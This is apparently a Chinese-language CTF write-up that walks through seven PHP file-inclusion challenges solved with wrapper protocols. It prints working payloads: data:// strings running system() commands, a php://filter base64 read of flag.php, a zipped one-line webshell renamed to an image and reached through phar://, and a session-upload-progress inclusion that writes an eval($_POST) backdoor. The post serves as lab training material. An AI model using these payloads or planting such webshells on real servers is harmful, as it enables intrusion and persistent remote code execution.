记一次文件包含刷题(伪协议篇)

每种协议的具体用法可自行查阅,这里只做分析

第一题

未做任何防护,访问文件就能拿到flag

第二题

未告诉flag文件名,便考虑进行命令执行

使用php://input绕过,进行命令执行

第三题

allow_url_fopen :on

allow_url_include:on

发现上面两个条件都为on,便考虑data://

data://text/plain,<?php system('ls'); ?>

data://text/plain,<?php system('cat flag_21843732549.txt'); ?>

第四题

告诉flag的地址,但是不显示文件内容,考虑用php://filter进行读取

php://filter/convert.base64-encode/resource=flag.php

读取解码便是flag

第五题

通过观察代码发现这里对传入的参数进行了二次读取,所以也用php://input

然后传入参数进行匹配就好了

第六题

发现有文件上传点,并且支持zip文件上传,便考虑phar://和zip://

先将一句话木马shell.php压缩成shell.zip,并且上传。

如果不让上传zip文件,那就将shell.zip的后缀改成png或者jpg再上传。

用蚁剑连接http://x.x.x/?file=phar://uploads/8519c12b20eb3f740c896055a5cec49a.zip/shell

第七题

根据观察可以发现这是一个利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含的题目

1.**当session.upload_progress.enabled = On时,**表示当浏览器向服务器上传一个文件时,PHP将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中

2.保存的路径在session.save_path

  1. 当session.use_strict_mode=Off时,PHPSESSID的值可控

4.默认会根据PHPSESSID生成一个文件 ,假设我传入为123,那么便会在/var/lib/php/sessions下生成一个sess_123文件来记录临时信息

5.当session.upload_progress.cleanup=On时,生成的sess_123文件会在上传完毕后强制删除,这时候我们需要在上传完成前去访问缓存.

6.我们通过传入PHPSESSID=123,生成一个sess_123文件。

然后修改PHP_SESSION_UPLOAD_PROGRESS,也就是参数a。来传入php代码。

最后利用include包含sess_123文件,来达到执行的目的。

传如的代码会生成一个木马文件,接着连接上就好了。

<?php fputs(fopen("456.php", "w"), '<?php @eval($_POST["shell"]); ?>'); ?>

相关推荐
Magnetic_h20 分钟前
【iOS】设计模式复习
笔记·学习·ios·设计模式·objective-c·cocoa
研梦非凡1 小时前
ICCV 2025|从粗到细:用于高效3D高斯溅射的可学习离散小波变换
人工智能·深度学习·学习·3d
lubiii_1 小时前
网络安全渗透测试第一步信息收集
安全·web安全·网络安全
hsjkdhs1 小时前
网络编程之UDP广播与粘包问题
网络·网络协议·udp
limengshi1383922 小时前
机器学习面试:请介绍几种常用的学习率衰减方式
人工智能·学习·机器学习
知识分享小能手2 小时前
React学习教程,从入门到精通,React 组件核心语法知识点详解(类组件体系)(19)
前端·javascript·vue.js·学习·react.js·react·anti-design-vue
周周记笔记3 小时前
学习笔记:第一个Python程序
笔记·学习
yzx9910133 小时前
接口协议全解析:从HTTP到gRPC,如何选择适合你的通信方案?
网络·人工智能·网络协议·flask·pygame
优雅鹅4 小时前
ARM、AArch64、amd64、x86_64、x86有什么区别?
arm开发·学习
..过云雨4 小时前
05.【Linux系统编程】进程(冯诺依曼体系结构、进程概念、进程状态(注意僵尸和孤儿)、进程优先级、进程切换和调度)
linux·笔记·学习